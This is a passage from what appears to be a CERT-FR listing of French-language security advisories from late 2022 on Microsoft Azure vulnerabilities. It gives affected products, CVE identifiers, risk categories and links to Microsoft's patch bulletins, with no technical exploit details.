"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-44678"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-44699 du 13 d\u00e9cembre 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-44699"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-44667 du 13 d\u00e9cembre 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-44667"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-41076 du 13 d\u00e9cembre 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-41076"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-44671 du 13 d\u00e9cembre 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-44671"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-41077 du 13 d\u00e9cembre 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-41077"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-44683 du 13 d\u00e9cembre 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-44683"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-44676 du 13 d\u00e9cembre 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-44676"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-44697 du 13 d\u00e9cembre 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-44697"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-44669 du 13 d\u00e9cembre 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-44669"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-44689 du 13 d\u00e9cembre 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-44689"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-44675 du 13 d\u00e9cembre 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-44675"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-44682 du 13 d\u00e9cembre 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-44682"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-41121 du 13 d\u00e9cembre 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-41121"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-44666 du 13 d\u00e9cembre 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-44666"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-44680 du 13 d\u00e9cembre 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-44680"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-44707 du 13 d\u00e9cembre 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-44707"
}
],
"reference": "CERTFR-2022-AVI-1105",
"revisions": [
{
"description": "Version initiale",
"revision_date": "2022-12-14T00:00:00.000000"
}
],
"risks": [
{
"description": "Ex\u00e9cution de code arbitraire \u00e0 distance"
},
{
"description": "D\u00e9ni de service"
},
{
"description": "Contournement de la fonctionnalit\u00e9 de s\u00e9curit\u00e9"
},
{
"description": "Atteinte \u00e0 la confidentialit\u00e9 des donn\u00e9es"
},
{
"description": "\u00c9l\u00e9vation de privil\u00e8ges"
}
],
"summary": "De multiples vuln\u00e9rabilit\u00e9s ont \u00e9t\u00e9 corrig\u00e9es dans \u003cspan\nclass=\"textit\"\u003eMicrosoft Azure\u003c/span\u003e. Elles permettent \u00e0 un attaquant\nde provoquer une atteinte \u00e0 la confidentialit\u00e9 des donn\u00e9es, une\nex\u00e9cution de code \u00e0 distance, une \u00e9l\u00e9vation de privil\u00e8ges, un d\u00e9ni de\nservice et un contournement de la fonctionnalit\u00e9 de s\u00e9curit\u00e9.\n",
"title": "Multiples vuln\u00e9rabilit\u00e9s dans Microsoft Azure",
"vendor_advisories": [
{
"published_at": null,
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft du 13 d\u00e9cembre 2022",
"url": "https://msrc.microsoft.com/update-guide/"
}
]
}
CERTFR-2022-AVI-1014
Vulnerability from certfr_avis - Published: - Updated:
De multiples vulnérabilités ont été corrigées dans Microsoft Azure. Elles permettent à un attaquant de provoquer une exécution de code à distance, une élévation de privilèges, un contournement de la fonctionnalité de sécurité, une atteinte à la confidentialité des données et un déni de service.
Solution
Se référer au bulletin de sécurité de l'éditeur pour l'obtention des correctifs (cf. section Documentation).
NoneImpacted products
References
| Title | Publication Time | Tags | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
{
"$ref": "https://www.cert.ssi.gouv.fr/openapi.json",
"affected_systems": [
{
"description": "Azure EFLOW",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Azure CycleCloud 7",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Azure RTOS GUIX Studio",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Windows Server 2022 Datacenter: Azure Edition (Hotpatch)",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Azure CycleCloud 8",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Azure CLI",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
}
],
"affected_systems_content": null,
"content": "## Solution\n\nSe r\u00e9f\u00e9rer au bulletin de s\u00e9curit\u00e9 de l\u0027\u00e9diteur pour l\u0027obtention des\ncorrectifs (cf. section Documentation).\n",
"cves": [
{
"name": "CVE-2022-38014",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-38014"
},
{
"name": "CVE-2022-41039",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-41039"
},
{
"name": "CVE-2022-41086",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-41086"
},
{
"name": "CVE-2022-41056",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-41056"
},
{
"name": "CVE-2022-41045",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-41045"
},
{
"name": "CVE-2022-41057",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-41057"
},
{
"name": "CVE-2022-41058",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-41058"
},
{
"name": "CVE-2022-41054",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-41054"
},
{
"name": "CVE-2022-41053",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-41053"
},
{
"name": "CVE-2022-41109",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-41109"
},
{
"name": "CVE-2022-41048",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-41048"
},
{
"name": "CVE-2022-41090",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-41090"
},
{
"name": "CVE-2022-41085",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-41085"
},
{
"name": "CVE-2022-41049",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-41049"
},
{
"name": "CVE-2022-41091",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-41091"
},
{
"name": "CVE-2022-41051",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-41051"
},
{
"name": "CVE-2022-41113",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-41113"
},
{
"name": "CVE-2022-41102",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-41102"
},
{
"name": "CVE-2022-41098",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-41098"
},
{
"name": "CVE-2022-41101",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-41101"
},
{
"name": "CVE-2022-41092",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-41092"
},
{
"name": "CVE-2022-41073",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-41073"
},
{
"name": "CVE-2022-41050",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-41050"
},
{
"name": "CVE-2022-39327",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-39327"
},
{
"name": "CVE-2022-41047",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-41047"
},
{
"name": "CVE-2022-38015",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-38015"
},
{
"name": "CVE-2022-41100",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-41100"
},
{
"name": "CVE-2022-41125",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-41125"
},
{
"name": "CVE-2022-37992",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-37992"
},
{
"name": "CVE-2022-41114",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-41114"
},
{
"name": "CVE-2022-41088",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-41088"
},
{
"name": "CVE-2022-41055",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-41055"
},
{
"name": "CVE-2022-41097",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-41097"
},
{
"name": "CVE-2022-41093",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-41093"
}
],
"links": [
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-41045 du 08 novembre 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-41045"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-41090 du 08 novembre 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-41090"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-37992 du 08 novembre 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-37992"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-41057 du 08 novembre 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-41057"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-41058 du 08 novembre 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-41058"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-41047 du 08 novembre 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-41047"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-41055 du 08 novembre 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-41055"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-41054 du 08 novembre 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-41054"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-41039 du 08 novembre 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-41039"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-41051 du 08 novembre 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-41051"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-41053 du 08 novembre 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-41053"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-41097 du 08 novembre 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-41097"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-41085 du 08 novembre 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-41085"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-41073 du 08 novembre 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-41073"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-41125 du 08 novembre 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-41125"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-38014 du 08 novembre 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-38014"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-41056 du 08 novembre 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-41056"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-41100 du 08 novembre 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-41100"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-39327 du 08 novembre 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-39327"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-41088 du 08 novembre 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-41088"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-41086 du 08 novembre 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-41086"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-41049 du 08 novembre 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-41049"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-38015 du 08 novembre 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-38015"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-41048 du 08 novembre 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-41048"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-41050 du 08 novembre 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-41050"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-41102 du 08 novembre 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-41102"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-41098 du 08 novembre 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-41098"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-41114 du 08 novembre 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-41114"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-41092 du 08 novembre 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-41092"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-41101 du 08 novembre 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-41101"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-41093 du 08 novembre 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-41093"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-41109 du 08 novembre 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-41109"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-41113 du 08 novembre 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-41113"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-41091 du 08 novembre 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-41091"
}
],
"reference": "CERTFR-2022-AVI-1014",
"revisions": [
{
"description": "Version initiale",
"revision_date": "2022-11-09T00:00:00.000000"
}
],
"risks": [
{
"description": "Ex\u00e9cution de code arbitraire \u00e0 distance"
},
{
"description": "D\u00e9ni de service"
},
{
"description": "Contournement de la fonctionnalit\u00e9 de s\u00e9curit\u00e9"
},
{
"description": "Atteinte \u00e0 la confidentialit\u00e9 des donn\u00e9es"
},
{
"description": "\u00c9l\u00e9vation de privil\u00e8ges"
}
],
"summary": "De multiples vuln\u00e9rabilit\u00e9s ont \u00e9t\u00e9 corrig\u00e9es dans \u003cspan\nclass=\"textit\"\u003eMicrosoft Azure\u003c/span\u003e. Elles permettent \u00e0 un attaquant\nde provoquer une ex\u00e9cution de code \u00e0 distance, une \u00e9l\u00e9vation de\nprivil\u00e8ges, un contournement de la fonctionnalit\u00e9 de s\u00e9curit\u00e9, une\natteinte \u00e0 la confidentialit\u00e9 des donn\u00e9es et un d\u00e9ni de service.\n",
"title": "Multiples vuln\u00e9rabilit\u00e9s dans Microsoft Azure",
"vendor_advisories": [
{
"published_at": null,
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft du 08 novembre 2022",
"url": "https://msrc.microsoft.com/update-guide/"
}
]
}
CERTFR-2022-AVI-990
Vulnerability from certfr_avis - Published: - Updated:
De multiples vulnérabilités ont été découvertes dans les produits Microsoft. Elles permettent à un attaquant de provoquer une exécution de code arbitraire à distance et un déni de service à distance.
Solution
Se référer au bulletin de sécurité de l'éditeur pour l'obtention des correctifs (cf. section Documentation).
NoneImpacted products
References
| Title | Publication Time | Tags | |||
|---|---|---|---|---|---|
|
|||||
{
"$ref": "https://www.cert.ssi.gouv.fr/openapi.json",
"affected_systems": [
{
"description": "Azure SDK for C++",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "vcpkg",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft Azure Kubernetes Service",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
}
],
"affected_systems_content": null,
"content": "## Solution\n\nSe r\u00e9f\u00e9rer au bulletin de s\u00e9curit\u00e9 de l\u0027\u00e9diteur pour l\u0027obtention des\ncorrectifs (cf. section Documentation).\n",
"cves": [
{
"name": "CVE-2022-3786",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-3786"
},
{
"name": "CVE-2022-3602",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-3602"
}
],
"links": [],
"reference": "CERTFR-2022-AVI-990",
"revisions": [
{
"description": "Version initiale",
"revision_date": "2022-11-03T00:00:00.000000"
}
],
"risks": [
{
"description": "D\u00e9ni de service \u00e0 distance"
},
{
"description": "Ex\u00e9cution de code arbitraire \u00e0 distance"
}
],
"summary": "De multiples vuln\u00e9rabilit\u00e9s ont \u00e9t\u00e9 d\u00e9couvertes dans les produits\nMicrosoft. Elles permettent \u00e0 un attaquant de provoquer une ex\u00e9cution de\ncode arbitraire \u00e0 distance et un d\u00e9ni de service \u00e0 distance.\n",
"title": "Multiples vuln\u00e9rabilit\u00e9s dans les produits Microsoft",
"vendor_advisories": [
{
"published_at": null,
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft du 02 novembre 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-3602"
}
]
}
CERTFR-2022-AVI-972
Vulnerability from certfr_avis - Published: - Updated:
Une vulnérabilité a été découverte dans Azure CLI. Elle permet à un attaquant de provoquer une exécution de code arbitraire à distance.
Solution
Se référer au bulletin de sécurité de l'éditeur pour l'obtention des correctifs (cf. section Documentation).
NoneImpacted products
References
| Title | Publication Time | Tags | ||||||
|---|---|---|---|---|---|---|---|---|
|
||||||||
{
"$ref": "https://www.cert.ssi.gouv.fr/openapi.json",
"affected_systems": [
{
"description": "Azure CLI versions ant\u00e9rieures \u00e0 2.40.0",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
}
],
"affected_systems_content": null,
"content": "## Solution\n\nSe r\u00e9f\u00e9rer au bulletin de s\u00e9curit\u00e9 de l\u0027\u00e9diteur pour l\u0027obtention des\ncorrectifs (cf. section Documentation).\n",
"cves": [
{
"name": "CVE-2022-39327",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-39327"
}
],
"links": [
{
"title": "Bulletin de s\u00e9curit\u00e9 Azure CVE-2022-39327 du 24 octobre 2022",
"url": "https://github.com/Azure/azure-cli/security/advisories/GHSA-47xc-9rr2-q7p4"
}
],
"reference": "CERTFR-2022-AVI-972",
"revisions": [
{
"description": "Version initiale",
"revision_date": "2022-10-31T00:00:00.000000"
}
],
"risks": [
{
"description": "Ex\u00e9cution de code arbitraire \u00e0 distance"
}
],
"summary": "Une vuln\u00e9rabilit\u00e9 a \u00e9t\u00e9 d\u00e9couverte dans Azure CLI. Elle permet \u00e0 un\nattaquant de provoquer une ex\u00e9cution de code arbitraire \u00e0 distance.\n",
"title": "Vuln\u00e9rabilit\u00e9 dans Azure CLI",
"vendor_advisories": [
{
"published_at": null,
"title": "Bulletin de s\u00e9curit\u00e9 Azure CVE-2022-39327 du 24 octobre 2022",
"url": null
}
]
}
CERTFR-2022-AVI-909
Vulnerability from certfr_avis - Published: - Updated:
De multiples vulnérabilités ont été corrigées dans Microsoft Azure. Elles permettent à un attaquant de provoquer une usurpation d'identité et une élévation de privilèges.
Solution
Se référer au bulletin de sécurité de l'éditeur pour l'obtention des correctifs (cf. section Documentation).
NoneImpacted products
| Vendor | Product | Description | ||
|---|---|---|---|---|
| Microsoft | Azure | Azure Arc-enabled Kubernetes cluster 1.5.8 | ||
| Microsoft | Azure | Azure Arc-enabled Kubernetes cluster 1.6.19 | ||
| Microsoft | Azure | Azure Service Fabric Explorer | ||
| Microsoft | Azure | Azure StorSimple 8000 Series | ||
| Microsoft | Azure | Azure Arc-enabled Kubernetes cluster 1.8.11 | ||
| Microsoft | Azure | Azure Stack Edge | ||
| Microsoft | Azure | Azure Arc-enabled Kubernetes cluster 1.7.18 |
References
| Title | Publication Time | Tags | |
|---|---|---|---|
{
"$ref": "https://www.cert.ssi.gouv.fr/openapi.json",
"affected_systems": [
{
"description": "Azure Arc-enabled Kubernetes cluster 1.5.8",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Azure Arc-enabled Kubernetes cluster 1.6.19",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Azure Service Fabric Explorer",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Azure StorSimple 8000 Series",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Azure Arc-enabled Kubernetes cluster 1.8.11",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Azure Stack Edge",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Azure Arc-enabled Kubernetes cluster 1.7.18",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
}
],
"affected_systems_content": null,
"content": "## Solution\n\nSe r\u00e9f\u00e9rer au bulletin de s\u00e9curit\u00e9 de l\u0027\u00e9diteur pour l\u0027obtention des\ncorrectifs (cf. section Documentation).\n",
"cves": [
{
"name": "CVE-2022-38017",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-38017"
},
{
"name": "CVE-2022-35829",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-35829"
},
{
"name": "CVE-2022-37968",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-37968"
}
],
"links": [
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-35829 du 11 octobre 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-35829"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-38017 du 11 octobre 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-38017"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-37968 du 11 octobre 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-37968"
}
],
"reference": "CERTFR-2022-AVI-909",
"revisions": [
{
"description": "Version initiale",
"revision_date": "2022-10-12T00:00:00.000000"
}
],
"risks": [
{
"description": "Usurpation d\u0027identit\u00e9"
},
{
"description": "\u00c9l\u00e9vation de privil\u00e8ges"
}
],
"summary": "De multiples vuln\u00e9rabilit\u00e9s ont \u00e9t\u00e9 corrig\u00e9es dans \u003cspan\nclass=\"textit\"\u003eMicrosoft Azure\u003c/span\u003e. Elles permettent \u00e0 un attaquant\nde provoquer une usurpation d\u0027identit\u00e9 et une \u00e9l\u00e9vation de privil\u00e8ges.\n",
"title": "Multiples vuln\u00e9rabilit\u00e9s dans Microsoft Azure",
"vendor_advisories": [
{
"published_at": null,
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft du 11 octobre 2022",
"url": "https://msrc.microsoft.com/update-guide/"
}
]
}
CERTFR-2022-AVI-841
Vulnerability from certfr_avis - Published: - Updated:
Une vulnérabilité a été corrigée dans Microsoft Azure. Elle permet à un attaquant de provoquer une élévation de privilèges.
Solution
Se référer au bulletin de sécurité de l'éditeur pour l'obtention des correctifs (cf. section Documentation).
NoneImpacted products
References
| Title | Publication Time | Tags | ||||||
|---|---|---|---|---|---|---|---|---|
|
||||||||
{
"$ref": "https://www.cert.ssi.gouv.fr/openapi.json",
"affected_systems": [
{
"description": "Azure Guest Configuration",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Azure ARC",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
}
],
"affected_systems_content": null,
"content": "## Solution\n\nSe r\u00e9f\u00e9rer au bulletin de s\u00e9curit\u00e9 de l\u0027\u00e9diteur pour l\u0027obtention des\ncorrectifs (cf. section Documentation).\n",
"cves": [
{
"name": "CVE-2022-38007",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-38007"
}
],
"links": [
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-38007 du 13 septembre 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-38007"
}
],
"reference": "CERTFR-2022-AVI-841",
"revisions": [
{
"description": "Version initiale",
"revision_date": "2022-09-20T00:00:00.000000"
}
],
"risks": [
{
"description": "\u00c9l\u00e9vation de privil\u00e8ges"
}
],
"summary": "Une vuln\u00e9rabilit\u00e9 a \u00e9t\u00e9 corrig\u00e9e dans \u003cspan class=\"textit\"\u003eMicrosoft\nAzure\u003c/span\u003e. Elle permet \u00e0 un attaquant de provoquer une \u00e9l\u00e9vation de\nprivil\u00e8ges.\n",
"title": "Vuln\u00e9rabilit\u00e9 dans Microsoft Azure",
"vendor_advisories": [
{
"published_at": null,
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft du 13 septembre 2022",
"url": "https://msrc.microsoft.com/update-guide/"
}
]
}
CERTFR-2022-AVI-731
Vulnerability from certfr_avis - Published: - Updated:
De multiples vulnérabilités ont été corrigées dans Microsoft Azure. Elles permettent à un attaquant de provoquer un déni de service, une élévation de privilèges, une atteinte à la confidentialité des données et une exécution de code à distance.
Solution
Se référer au bulletin de sécurité de l'éditeur pour l'obtention des correctifs (cf. section Documentation).
NoneImpacted products
References
| Title | Publication Time | Tags | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
{
"$ref": "https://www.cert.ssi.gouv.fr/openapi.json",
"affected_systems": [
{
"description": "Azure Site Recovery VMWare to Azure",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Azure Sphere",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Azure Batch",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Azure Real Time Operating System GUIX Studio",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
}
],
"affected_systems_content": null,
"content": "## Solution\n\nSe r\u00e9f\u00e9rer au bulletin de s\u00e9curit\u00e9 de l\u0027\u00e9diteur pour l\u0027obtention des\ncorrectifs (cf. section Documentation).\n",
"cves": [
{
